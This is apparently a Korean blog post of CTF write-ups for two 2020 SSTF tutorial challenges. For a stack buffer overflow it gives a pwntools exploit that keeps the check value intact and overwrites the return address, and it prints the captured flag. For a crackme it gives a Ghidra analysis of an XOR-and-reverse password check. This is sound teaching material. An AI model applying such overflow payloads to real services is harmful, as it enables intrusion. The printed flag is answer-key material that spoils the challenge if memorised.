[2020 SSTF] BOF101 50pt (Tutorial/Binary/pwn) |
[2020 SSTF] CrackMe101 50pt (Tutorial/Binary/Rev) |
[2020 SSTF] BOF101 50pt (Tutorial/Binary/pwn)
문제에서 주어진 압축을 풀면 다음과 같이 2개의 파일이 주어진다
bof101.c 의 내용은 다음과 같다
#include <stdio.h>
//#include <fcntl.h>
//#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void printflag(){
char buf[32];
FILE* fp = fopen("/flag", "r");
fread(buf, 1, 32, fp);
fclose(fp);
printf("%s", buf);
fflush(stdout);
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
fflush(stdout);
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
fflush(stdout);
exit(0);
}
return 0;
}
main 함수의 다음 부분에서 BOF가 발생할 수 있다
scanf("%s", name); //BOF
다음과 같이 BOF를 탐지하고 있으므로 check 값을 0xdeadbeef로 유지한채 RET를 바꿔야한다
#include <stdio.h>
...
int main() {
int check=0xdeadbeef;
char name[140];
...
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
fflush(stdout);
exit(0);
}
...
}
다음은 파일을 실행해본 결과이다
BOF를 잘 탐지하고 있는 것을 볼 수 있다
다음과 같이 0x90 (144) bytes가 할당되고 if문으로 확인하고 있음을 알 수 있다
// 할당
sub rsp, 0x90
mov DWORD PTR [rbp-0x4], 0xdeadbeef
// 조건문
cmp DWORD PTR [rbp-0x4], 0xdeadbeef
주어진 주소와 포트에 공격할 python payload이다
from pwn import *
r = remote("bof101.sstf.site", 1337)
check = 0xdeadbeef
target_address = 0x555555555229
payload = "A"*140 # stack buffer 덮기
payload += p32(check) # [rbp-0x4]의 위치를 deadbeef로 덮기
payload += "\x90"*8 # sfp 덮기
payload += p64(target_address) # ret 변조
print(r.recv())
r.sendline(payload)
print(r.recv())
r.close()
payload를 실행하면 flag를 획득할 수 있다
FLAG : SCTF{n0w_U_R_B0F_3xpEr7}
[2020 SSTF] CrackMe101 50pt (Tutorial/Binary/Rev)
문제에서 주어진 파일의 압출을 풀면 다음 파일이 주어진다
ghidra로 파일을 분석했다
분석 결과 파일의 main function은 다음과 같다
undefined8 main(void)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
int local_88;
char local_78 [104];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter the password! : ");
__isoc99_scanf(&DAT_0010206e,local_78);
sVar2 = strlen(local_78);
iVar1 = (int)sVar2;
getMaskedStr(local_78,local_78,local_78);
local_88 = 0;
while ((local_88 < iVar1 &&
("Dtd>=mhpNCqz?N!j(Z?B644[.$~96b6zjS*2t&"[local_88] == local_78[(iVar1 - local_88) + -1])))
{
local_88 = local_88 + 1;
}
if (local_88 != iVar1) {
puts("Login Failed!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
puts("Successfully logged in!\nGood job!");
/* WARNING: Subroutine does not return */
exit(0);
}
main function에서 임의의 string1과 사용자 입력값인 local_78을
1 byte씩 역순(reverse string)으로 비교하고 있는 것을 알 수 있다
"Dtd>=mhpNCqz?N!j(Z?B644[.$~96b6zjS*2t&"[local_88] == local_78[(iVar1 - local_88) + -1]
비교전 getMaskedStr function으로 local_78이 전달되니,
getMaskedStr function의 동작을 확인할 필요가 있다
getMaskedStr(local_78,local_78,local_78);
getMaskedStr function은 다음과 같다
void getMaskedStr(char *param_1,long param_2)
{
size_t sVar1;
int local_18;
sVar1 = strlen(param_1);
local_18 = 0;
while (local_18 < (int)sVar1) {
*(byte *)(param_2 + local_18) =
param_1[local_18] ^ "u7fl(3JC=UkJGEhPk{q`/X5UzTI.t&A]2[rPM9"[local_18];
local_18 = local_18 + 1;
}
*(undefined *)(param_2 + (int)sVar1) = 0;
return;
}
getMaskedStr function에서는 사용자 입력값을 임의의 string2과 xor 연산을 하는 것을 확인할 수 있다
*(byte *)(param_2 + local_18) = param_1[local_18] ^ "u7fl(3JC=UkJGEhPk{q`/X5UzTI.t&A]2[rPM9"[local_18];
프로그램의 진행을 요약하자면 다음과 같다
user_input = ?
string2 = "u7fl(3JC=UkJGEhPk{q`/X5UzTI.t&A]2[rPM9"
reversed string1 = "Dtd>=mhpNCqz?N!j(Z?B644[.$~96b6zjS*2t&"
user_input ^ string2 = reversed string1
즉, 다음과 같은 방법으로 옳바른 user_input을 알아낼 수 있다
re-reverse string1 ^ string2 = user_input
codebeautify.org의 Reverse String 기능을 이용해 다음과 같이 re-reverse string1을 구하였다
문제에서 주어진 xor.pw 사이트에서 re-reverse string1 ^ string2를 진행한 결과는 다음과 같다
'CTFs' 카테고리의 다른 글
[Real World CTF 4th] review & studies (0) | 2022.01.31 |
---|---|
[Real World CTF 4th] write-ups (0) | 2022.01.31 |
[KnightCTF 2022] review & studies (0) | 2022.01.25 |
[KnightCTF 2022] write-ups (0) | 2022.01.23 |
[2020 InCTF] write-ups (0) | 2021.01.17 |